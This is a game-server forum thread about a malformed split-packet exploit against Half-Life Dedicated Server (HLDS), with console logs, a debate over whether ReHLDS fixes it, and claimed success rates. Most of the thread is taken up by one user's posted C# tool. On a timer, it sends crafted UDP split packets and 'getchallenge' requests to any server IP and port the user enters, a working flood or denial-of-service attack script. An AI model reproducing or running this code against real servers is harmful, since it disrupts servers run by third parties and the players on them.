[meTaLiCroSS]

Just tried with a clean server instalation. For your information, this kind of exploits doesn't requieres a BOT to join your server and send a malformed packet causing a crash. Just by knowing that, discard your "delete dproto" argument, this can be done on clean both steamonly and dproto servers.

Malformed packet size (4173, 3) NET_GetLong: Ignoring duplicated split packet 4 of 1 ( 3 bytes ) Split packet without all 1 parts, part 1 had wrong sequence -1/-2 NET_GetLong: Ignoring duplicated split packet 4 of 1 ( 3 bytes ) Split packet without all 1 parts, part 1 had wrong sequence -1/-2 NET_GetLong: Ignoring duplicated split packet 4 of 1 ( 3 bytes ) Split packet without all 1 parts, part 1 had wrong sequence -1/-2 NET_GetLong: Ignoring duplicated split packet 4 of 1 ( 3 bytes ) Split packet without all 1 parts, part 1 had wrong sequence -1/-2 Malformed packet size (4173, 16) NET_GetLong: Ignoring duplicated split packet 4 of 2 ( 16 bytes ) Invalid split packet length 4 NET_GetLong: Ignoring duplicated split packet 4 of 2 ( 16 bytes ) NET_GetLong: Ignoring duplicated split packet 4 of 2 ( 16 bytes ) Invalid split packet length 4 NET_GetLong: Ignoring duplicated split packet 4 of 2 ( 16 bytes ) NET_GetLong: Ignoring duplicated split packet 4 of 2 ( 16 bytes ) Invalid split packet length 4 NET_GetLong: Ignoring duplicated split packet 4 of 2 ( 16 bytes ) NET_GetLong: Ignoring duplicated split packet 4 of 2 ( 16 bytes ) Invalid split packet length 4 NET_GetLong: Ignoring duplicated split packet 4 of 2 ( 16 bytes ) NET_GetLong: Ignoring duplicated split packet 4 of 2 ( 16 bytes ) Invalid split packet length 4 NET_GetLong: Ignoring duplicated split packet 4 of 2 ( 16 bytes ) NET_GetLong: Ignoring duplicated split packet 4 of 2 ( 16 bytes ) Invalid split packet length 4 Malformed packet number (15) Malformed packet number (15) Malformed packet number (15) Malformed packet number (15) Malformed packet number (15)

But it justs spam this kind of messages. I don't see any exploitable way to break a server

[JusTGo]

Originally Posted by meTaLiCroSS Just tried with a clean server instalation. For your information, this kind of exploits doesn't requieres a BOT to join your server and send a malformed packet causing a crash. Just by knowing that, discard your "delete dproto" argument, this can be done on clean both steamonly and dproto servers. But it justs spam this kind of messages. I don't see any exploitable way to break a server

well sending alot of packets = more messages = lag.

[PRoSToTeM@]

So, this is fixed on ReHLDS.

[Freezo Begin]

meTaLiCroSS, As i said before the program that he shared will work only if fakedetector module included ...

the v2 of the exploit works on :
{ HLDS works on +80% }
{ reHLDS 60% }

It's not 100% fixed in reHLDS .

[Craxor]

tooo many procents :O

all the time somebody invent something that can pass any detector , so don't mind with such things

[Saint Sinner]

I know but I don't change hl engine.. is a hosting problem..

[xeloxded]

What is the fix then? Because even with FakeDetector desactivated it will works (Using last HLDS Version)

[SkillartzHD]

Originally Posted by xeloxded What is the fix then? Because even with FakeDetector desactivated it will works (Using last HLDS Version)

Use rehlds

[Saint Sinner]

private void timer1_Tick(object sender, EventArgs e)
{
	int num;
	bool flag = int.TryParse(this.textBox1.Text, out num);
	if (flag)
	{
		bool flag2 = num > 0;
		if (flag2)
		{
			this.timer1.Interval = num;
		}
	}
	bool flag3 = string.IsNullOrEmpty(this.serverak.Text);
	if (!flag3)
	{
		string text = this.serverak.Text;
		string[] array = text.Split(new char[]
		{
			':'
		});
		IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(array[0]), Convert.ToInt32(array[1]));
		Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
		socket.SendTimeout = 12;
		socket.ReceiveTimeout = 100;
		socket.Connect(remoteEP);
		List<byte> list = new List<byte>();
		byte[] array2 = new byte[2044];
		list.AddRange(new byte[]
		{
			254,
			255,
			255,
			255
		});
		bool @checked = this.checkBox2.Checked;
		if (@checked)
		{
			list.AddRange(new byte[]
			{
				254,
				255,
				255,
				255
			});
			list.AddRange(Encoding.ASCII.GetBytes("123 "));
		}
		bool checked2 = this.checkBox3.Checked;
		if (checked2)
		{
			for (int i = 1; i <= 2; i++)
			{
				List<byte> list2 = new List<byte>();
				byte[] array3 = new byte[2044];
				socket.Send(new byte[]
				{
					255,
					255,
					255,
					255,
					103,
					101,
					116,
					99,
					104,
					97,
					108,
					108,
					101,
					110,
					103,
					101,
					10
				});
				list2.AddRange(new byte[]
				{
					254,
					255,
					255,
					255
				});
				list2.AddRange(Encoding.ASCII.GetBytes("123123"));
				list2.AddRange(new byte[]
				{
					0,
					0,
					128,
					0,
					0,
					0,
					0,
					44,
					125,
					110,
					2,
					26,
					1,
					17,
					65
				});
				socket.Send(list2.ToArray());
			}
		}
		bool checked3 = this.checkBox4.Checked;
		if (checked3)
		{
			list.AddRange(new byte[]
			{
				254,
				255,
				255,
				255
			});
			list.AddRange(new byte[]
			{
				254,
				255,
				255,
				255
			});
			list.AddRange(Encoding.ASCII.GetBytes("xb"));
		}
		socket.Send(list.ToArray());
	}
}

[SkillartzHD]

Si ? Poti sa ne spui ce intelegi de acolo